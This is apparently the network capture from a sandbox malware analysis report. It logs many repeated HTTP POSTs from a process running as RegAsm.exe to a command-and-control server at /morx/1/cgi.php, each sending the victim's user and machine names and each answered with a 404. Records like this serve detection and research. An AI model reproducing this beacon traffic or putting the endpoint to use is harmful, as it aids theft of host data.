Jan 5, 2021 19:07:09.933414936 CET	1354	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:10.024940968 CET	1354	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:09 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.22	49329	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:10.232857943 CET	1355	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:10.293123007 CET	1355	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:10.470072985 CET	1356	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:09 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.22	49330	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:10.663115025 CET	1356	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:10.730576992 CET	1357	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:10.820501089 CET	1357	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:09 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.22	49331	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:11.027929068 CET	1358	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:11.105282068 CET	1358	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:11.198427916 CET	1358	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:10 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.22	49332	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:11.409138918 CET	1359	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:11.480406046 CET	1359	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:11.568466902 CET	1360	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:10 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.22	49333	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:11.779640913 CET	1360	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:11.855976105 CET	1361	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:11.948838949 CET	1361	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:11 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.22	49334	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:12.151046038 CET	1362	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:12.219427109 CET	1362	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:12.322355986 CET	1362	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:11 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
168	192.168.2.22	49335	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:12.528628111 CET	1363	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:12.605540991 CET	1363	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:12.702702045 CET	1364	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:11 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
169	192.168.2.22	49336	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:12.913604975 CET	1364	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:12.980554104 CET	1365	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:13.081151962 CET	1365	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.22	49184	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:14.002546072 CET	1164	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:06:14.074076891 CET	1164	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:06:14.168911934 CET	1164	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:06:13 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
170	192.168.2.22	49337	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:13.293356895 CET	1366	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:13.357029915 CET	1366	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:13.445018053 CET	1366	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.22	49338	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:13.661854029 CET	1367	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:13.745917082 CET	1367	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:13.836047888 CET	1368	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:12 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.22	49339	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:14.047995090 CET	1368	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:14.122060061 CET	1369	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:14.227580070 CET	1369	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:13 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.22	49340	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:14.442936897 CET	1370	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:14.511751890 CET	1370	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:14.596332073 CET	1370	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:13 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.22	49341	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:14.806536913 CET	1371	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:14.886598110 CET	1371	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:14.974221945 CET	1372	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.22	49342	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:15.187360048 CET	1372	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:15.261763096 CET	1373	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:15.351310015 CET	1373	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.22	49343	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:15.557295084 CET	1374	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:15.637098074 CET	1374	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:15.731775999 CET	1374	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:14 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.22	49344	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:15.953687906 CET	1375	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:16.027359009 CET	1375	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:16.112185955 CET	1376	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:15 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
178	192.168.2.22	49345	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:16.321602106 CET	1376	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:16.386634111 CET	1376	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:16.490418911 CET	1377	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:15 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
179	192.168.2.22	49346	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:07:16.691139936 CET	1378	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
Jan 5, 2021 19:07:16.761456966 CET	1378	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 32 00 31 00 36 00 35 00 35 00 34 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus216554ALBUS-PC0DE4229FCF97F5879F50F8FD3
Jan 5, 2021 19:07:16.849535942 CET	1378	IN	HTTP/1.0 404 Not Found Date: Tue, 05 Jan 2021 18:07:15 GMT Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40 X-Powered-By: PHP/5.6.40 Status: 404 Not Found Content-Length: 23 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.22	49185	185.206.215.56	80	C:\Users\user\AppData\Local\Temp\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
Jan 5, 2021 19:06:14.391398907 CET	1165	OUT	POST /morx/1/cgi.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 185.206.215.56 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 598F9AF4 Content-Length: 149 Connection: close
